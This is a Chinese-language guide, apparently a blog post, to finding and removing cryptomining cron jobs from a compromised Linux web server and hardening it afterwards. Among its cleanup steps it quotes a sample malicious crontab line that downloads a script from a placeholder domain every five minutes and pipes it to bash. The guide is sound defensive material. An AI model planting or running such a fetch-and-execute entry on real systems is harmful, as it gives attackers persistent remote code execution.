跨境独立站服务器挖矿定时任务彻底清除:从发现到根除的完整步骤
跨境独立站服务器挖矿定时任务彻底清除:从发现到根除的完整步骤
如果你的独立站服务器突然 CPU 飙升、网站变慢、带宽异常跑满,很可能是被植入了挖矿程序,而且通常通过定时任务(cron)持续复活。
本文会帮你一步步揪出残留的挖矿定时任务,彻底清理,并加固系统防止复发。
挖矿定时任务是怎么进来的
攻击者常利用旧版系统或面板的漏洞、弱密码(例如 root 或宝塔后台弱口令)远程登录后,写入一个 cron 任务:每隔几分钟下载并执行一次挖矿脚本。
即使你杀掉了进程,定时任务会再次拉取新脚本运行,所以必须先清除定时任务。
常见的特征:
/etc/crontab或/var/spool/cron/下出现未知条目- 命令中包含 wget、curl 拉取陌生 URL,或执行 base64 编码的字符串
- 用户名异常(如 www、nobody 或乱码字符)
清除前必须做的准备
操作前先备份,避免误删正常任务:
# 备份当前所有用户的 crontab
mkdir -p /root/cron_bak
crontab -l > /root/cron_bak/root_cron_$(date +%Y%m%d%H%M).bak
# 备份系统 crontab
cp /etc/crontab /root/cron_bak/etc_crontab.bak
# 列出所有用户的定时任务目录文件列表
ls -la /var/spool/cron/ > /root/cron_bak/spool_list.txt
如果你使用的是宝塔面板,先进入后台左侧「计划任务」,检查是否有不明任务(尤其是“Shell脚本”类型且内容包含陌生链接的)。不要直接删除,截图或复制内容留底再处理。
一步步清理挖矿定时任务
1. 检查系统级定时任务
cat /etc/crontab
看是否有类似这样的异常条目:
*/5 * * * * root /usr/bin/wget -q -O - http://恶意域名/update.sh | bash
如有,直接注释或删除该行:
vim /etc/crontab # 编辑,按 i 插入,在行首加 # 注释或删除整行,按 :wq 保存退出
2. 检查各用户的 cron 任务
# 列出所有非空用户的 crontab
for user in $(cut -d: -f1 /etc/passwd); do echo "=== 用户: $user ==="; crontab -u $user -l 2>/dev/null; done
如果输出中出现乱码、陌生 URL、base64 解码等异常,记录下该用户,然后执行:
crontab -u 用户名 -r # 清空该用户全部定时任务(谨慎操作,确保没有正常任务)
3. 检查 crond 引用的隐藏文件
有些挖矿脚本会把定时任务写入 /etc/cron.d/、/etc/cron.hourly/ 等目录。
检查:
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
发现可疑文件(比如名字是乱码或 .xxxx 隐藏文件),用 cat 查看内容确认后删除:
rm -f /etc/cron.d/可疑文件名
4. 检查定时任务触发的木马文件
挖矿定时任务通常会引向一个脚本,脚本又会下载主程序。
通过定时任务里的 URL 反查可以找到这些文件。
常见路径:
/tmp/下大量乱名文件/var/tmp/下异常文件/usr/local/bin/、/usr/bin/下被替换的常见命令(比如top、ps)
使用 find 命令搜索修改时间近、体积可疑的文件:
find /tmp /var/tmp /dev/shm -type f -exec ls -la {} \; 2>/dev/null | grep -v "^总用量"
对可疑文件先 chattr -i 去掉隐藏属性再删除。
常见残留和二次清理
挖矿脚本会在多个位置写入启动项,防止一次清理不彻底:
- /etc/rc.local 或 /etc/rc.d/rc.local:检查
exit 0之前有没有陌生命令 - ~/.ssh/authorized_keys:攻击者可能加了公钥,方便后续 ssh 登录
- 系统环境变量:例如
/etc/profile、/root/.bashrc中被注入alias或export指向恶意文件
执行一次全盘扫描:
grep -r "恶意域名" /etc/ /root/ /var/spool/ /opt/ /usr/local/ 2>/dev/null
替换为实际被拉取的域名。
清理后的加固与验证
验证是否彻底清除
- 重启 crond 服务:
systemctl restart crond # CentOS / Ubuntu 均可
- 运行
top或htop,观察 CPU 是否回落到正常水平(独立站通常 5% 以下)。 - 等 10 分钟后再次执行
crontab -l检查是否再次出现异常任务。
防止再次被入侵
- 修改所有密码:root、MySQL、宝塔后台、FTP、SSH 密钥,使用 12 位以上包含特殊字符的密码。
- 更新面板和系统:宝塔面板及时升级;
apt update && apt upgrade(Ubuntu)或yum update(CentOS)。 - 限制 SSH 登录:只允许密钥登录,禁止 root 密码登录(修改
/etc/ssh/sshd_config)。 - 安装安全插件:宝塔面板可以直接安装「宝塔系统加固」、「Nginx 防火墙」等插件。
高频问题解答
Q:定时任务删了又出现怎么办?
A:说明还有其他用户或服务在写定时任务。重复执行“检查各用户cron”步骤,重点查 www 用户和 apache/nginx 运行用户,同时检查 /var/spool/cron/crontabs/ 下是否有隐藏文件。
Q:宝塔面板里没有定时任务,但 CPU 高怎么办?
A:因为挖矿脚本可能不在宝塔管理的计划任务里,而是通过系统 crontab 直接写入。按本文第1-3步系统级排查。
Q:清除后网站文件会不会丢失?
A:清除定时任务和挖矿文件不会影响网站数据。但如果攻击者修改过网站代码(比如在 index.php 里插入了后门),建议重新下载官方源码覆盖或使用备份恢复。
如果你的跨境独立站服务器再次出现类似症状,建议回到第一步重新执行全套流程,同时检查是否有未关闭的弱口令端口。
彻底清理后,别忘了将本文的加固措施逐步落实,防止下次再被“光顾”。